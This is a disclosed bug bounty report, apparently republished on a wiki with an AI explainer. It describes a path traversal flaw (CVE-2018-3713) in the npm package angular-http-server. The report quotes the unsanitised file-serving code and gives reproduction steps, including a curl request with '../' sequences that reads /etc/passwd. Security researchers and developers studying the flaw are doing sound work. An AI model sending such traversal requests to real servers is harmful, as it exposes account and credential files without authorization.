Skip to content
Path traversal Disclosed report Beginner CVE-2018-3713

[angular-http-server] Path Traversal in angular-http-server.js allows to read arbitrary file from the remote server

The angular-http-server module does not sanitise request paths, so an attacker can use directory traversal sequences to read any file on the server. This allows reading sensitive files such as /etc/passwd.

bl4de Follow

Originally disclosed on HackerOne

High 8.6 View original
  • Triaged in 12 hours
  • Fixed in 5 days
  • Disclosed after 35 days

Hi Guys,

angular-http-server (https://www.npmjs.com/package/angular-http-server) contains Path Traversal vulnerability, which allows malicious user to read content of any file with known path.

Module:

A very simple application server designed for Single Page App (SPA) developers. (https://www.npmjs.com/package/angular-http-server)

Description

angular-http-server does not sanitize path in the correct way, so curl can be used to retrieve content of any file from the remote server.

Vulnerable code in angular-http-server.js file (lines 66-82):

JavaScript
fs.stat(possibleFilename, function(err, stats) {
        var fileBuffer;
        if (!err && stats.isFile()) {
            fileBuffer = fs.readFileSync(possibleFilename);
            let ct = mime.lookup(possibleFilename);
            console.log(`Sending ${possibleFilename} with Content-Type ${ct}`);
            res.writeHead(200, { 'Content-Type': ct });

        } else {
            console.log("Route %s, replacing with index.html", possibleFilename);
            fileBuffer = returnDistFile();
            res.writeHead(200, { 'Content-Type': 'text/html' });
        }

        res.write(fileBuffer);
        res.end();
    });

File with possibleFilename name is read and send with guessed mime type. No path or allowed mime type validation is implemented - if it's possible to read the file, code just does it.

Steps To Reproduce:

  • install angular-http-server
$ npm install angular-http-server
  • create static index.html file (required as starting point of an app:
HTML
<html>

<head>
    <meta charset="utf8">
    <title>Index HTML</title>
</head>

<body>
    <div>
        <p>This is index.html :)</p>
    </div>
</body>

</html>
  • run server in the same folder where index.html was created:
$ angular-http-server --path ./
  • open the browser and go to 127.0.0.1:8080 You should see HTML output.

  • from the terminal, execute folloiwng command (please adjust numbers of ../ to your system):

$ curl -v --path-as-is http://127.0.0.1:8080/../../../../../etc/passwd

You should see the content of /etc/passwd file:

Also, in the angular-http-server log there is information about mime type of the file (application/octet-stream):

$ ./node_modules/angular-http-server/angular-http-server.js --path ./
Path specified: ./
Using index.html
Listening on 8080
Sending ../../../../../etc/passwd with Content-Type application/octet-stream

Supporting Material/References:

Configuration I've used to find this vulnerability:

  • macOS HighSierra 10.13.3
  • node 8.9.3
  • npm 5.5.1
  • curl 7.54.0

Wrap up

I hope this report will help to keep Node ecosystem more safe. If you have any questions about any details of this finding, please let me know in comment.

Thank you

Regards,

Rafal 'bl4de' Janicki

Impact

This vulnerability allows malicious user to read content of any file on the machine where angular-http-server is running.

This might expose vectors to attack system with Remote Code Execution, reveals files with usernames and passwords and many other possibilites.

The original report as published on HackerOne, by bl4de. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The server constructs a file path from user input without validating or normalising it, allowing directory traversal.

Impact

An attacker could read any file on the server, potentially exposing credentials and possibly enabling further attacks such as remote code execution.

What the attacker needed

Server running angular-http-server; attacker can send HTTP requests

How it was found

  1. Install angular-http-server.
  2. Create an index.html file in a folder.
  3. Run the server with --path pointing to that folder.
  4. Send a request with directory traversal sequences to read /etc/passwd.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web server that serves static files should only allow access to files inside the folder it is meant to serve. Here, the server took the requested file path and used it directly without checking for '..' sequences, which mean 'go up one folder'. By sending enough of these, an attacker could escape the intended folder and read any file on the machine, like the list of user accounts.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by bl4de

View all

42 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.